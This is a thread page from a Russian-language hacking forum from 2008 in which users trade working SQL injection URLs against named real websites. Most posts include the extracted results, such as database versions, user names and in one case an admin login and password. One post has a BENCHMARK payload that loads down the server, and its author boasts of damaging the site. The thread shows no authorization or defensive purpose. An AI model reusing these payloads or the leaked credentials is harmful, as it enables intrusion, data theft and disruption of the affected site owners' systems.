ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #4811  
Старый 16.02.2008, 01:43
xcedz
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
Провел на форуме:
7229141

Репутация: 3099


По умолчанию

About
Flagstaff Gallery was established in Devonport in 1993 as the first dealer gallery on Auckland's North Shore.
http://www.flagstaff.co.nz/artists_detail.php?artists_id=1'+union+select+1,2,3,4,5,6,version(),8/*

4.0.27-standard-log/flagstaff/w3_read@ws6.int.mydns.net.nz

Последний раз редактировалось xcedz; 16.02.2008 в 14:20..
 
Ответить с цитированием

  #4812  
Старый 16.02.2008, 01:50
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

xcedz пусть мне поставят минусы НО за*бал ! я тебе уже писал чтобы ты не писал идиотским шрифтом а тем более ещё более идиотским ЦВЕТОМ !!!!!
// извиняюсь за хамство //
 
Ответить с цитированием

  #4813  
Старый 16.02.2008, 02:57
satana8920
Moderator - Level 7
Регистрация: 22.09.2006
Сообщений: 531
Провел на форуме:
3818187

Репутация: 369


Отправить сообщение для satana8920 с помощью ICQ
По умолчанию

Код HTML:
http://www.murmanspas.ru/index.php?p=gallerypic&img_id=-666+union+select+1,2,3,version(),5,6,7,8,9/*&galid=32&church=1&ascdesc=desc
4.1.21

http://www.murmanspas.ru/index.php?p=gallerypic&img_id=-666+union+select+1,2,3,BENCHMARK(666666666666666666666666,BENCHMARK(100000,md5(current_time))),5,6,7,8,9/*&galid=32&church=1&ascdesc=desc
АДский смех


Код HTML:
http://www.hair-band.com/index.php?option=com_quiz&task=user_tst_shw&Itemid=47&tid=1/**/union/**/select/**/0,concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*

Последний раз редактировалось satana8920; 16.02.2008 в 14:28..
 
Ответить с цитированием

  #4814  
Старый 16.02.2008, 05:17
xcedz
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
Провел на форуме:
7229141

Репутация: 3099


По умолчанию

ЭТО был сайт провославной молодежи теперь он в заднице и не скоро от туда выбереться
Такие высказывания оскорбительны.. Держи свои мысли при себе!

к стате сайт норм работает
===================================
Цитата:
Сообщение от 159932  
xcedz пусть мне поставят минусы НО за*бал ! /
ответ: Заe-aл не выe-aл = потерпишь .
/извини за хамство/ на счет "идиотских" шрифтов и "тем более идиотского цвета" это вопрос не ко мне ... так настроен форум есле ты не в курсе
===================================
по теме
http://www.ikointl.com/pro_career.php?menu_id=-2222'+union+select+1,2,concat_ws(0x2F,version(),da tabase(),user()),4/*


5.0.45-log/ikointl_main/ikointl@localhost

-2222'+union+select+1,2,concat(admin,char(58),passw ord),4+from+admin/*
admin:123!$

Последний раз редактировалось xcedz; 16.02.2008 в 09:11..
 
Ответить с цитированием

  #4815  
Старый 16.02.2008, 14:39
ThreeD
Banned
Регистрация: 25.12.2006
Сообщений: 179
Провел на форуме:
2337678

Репутация: 354
По умолчанию

ПР-7 вроде.

http://www2.umaine.edu/graduate/article.php?id=-63'+union+select+1,concat_ws(0x3A3a,username,passw ord),3,4+from+users+limit+0,1/*

Пассы расшифровываются, но к админке не подходят.
 
Ответить с цитированием

  #4816  
Старый 16.02.2008, 16:36
ReVOLVeR
Участник форума
Регистрация: 02.09.2006
Сообщений: 176
Провел на форуме:
645316

Репутация: 327
По умолчанию

_http://maps.mail.ru/msk/route.asp?tr1='/*&tr2='/*
 
Ответить с цитированием

  #4817  
Старый 16.02.2008, 16:44
Macro
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме:
1845062

Репутация: 1079


По умолчанию

Это не sql инъекция Ругается на любой символ. Кавычки тут вообще не причем, они фильтруются.
 
Ответить с цитированием

  #4818  
Старый 16.02.2008, 16:59
Sleep
Участник форума
Регистрация: 31.10.2007
Сообщений: 193
Провел на форуме:
2080216

Репутация: 150
Отправить сообщение для Sleep с помощью ICQ
Post

http://www.viking.tm/product.php?id=-91+union+select+1,table_name,3,4,5,6,7+from+inform ation_schema.tables--
Картинки надо вырубать

Последний раз редактировалось Sleep; 16.02.2008 в 17:16..
 
Ответить с цитированием

  #4819  
Старый 16.02.2008, 17:09
CaNNabi$
Познающий
Регистрация: 21.01.2008
Сообщений: 85
Провел на форуме:
839509

Репутация: 338
Отправить сообщение для CaNNabi$ с помощью ICQ
По умолчанию

Код:
http://www.ac.org.tr/news.php?id=0x3127%20union+select+1,2,concat_ws(0x2F,version(),database(),user()),4,5,6,7/*
5.0.45-log/avrasya/acdbuser@cgi0703.int.bizland.net

Код:
http://www.lybid-realty.com.ua/index.php?w=new&id=0x3127%20union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5/*
4.1.22/lybidrealty/u_lybidrealt@localhost

Код:
http://enazindan1kisi.com/news.php?id=0x3127%20union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5/*
5.0.45-community/enazinda_v1/enazinda_v1@localhost

Код:
http://italia.allaboutjazz.com/php/news.php?id=0x3127%20union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*
4.1.20/italy/vxweb@jazzy

Код:
http://www.architectureforhumanityitaly.org/news.php?id=0x3127%20union+select+1,2,3,4,concat_ws(0x2F,version(),database(),user()),6,7,8,9/*
5.0.45-community-log/Sql85662_1/Sql85662@62.149.140.140
 
Ответить с цитированием

  #4820  
Старый 16.02.2008, 18:48
Sleep
Участник форума
Регистрация: 31.10.2007
Сообщений: 193
Провел на форуме:
2080216

Репутация: 150
Отправить сообщение для Sleep с помощью ICQ
Post

PHP код:
http://nodel.org/events.php?ID=-1%2527%2520+union+select+1,2,3,4,5,6,7,8,TABLE_NAME,1,2,3,4,5,6,7+from+information_schema.tables+limit+1,1-- 
PHP код:
http://www.ultraproducts.com/st_content.php?id=-1+union+select+1,2,CONCAT(user(),version(),database())-- 
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 8 (пользователей: 0 , гостей: 8)
 


Быстрый переход




ANTICHAT.XYZ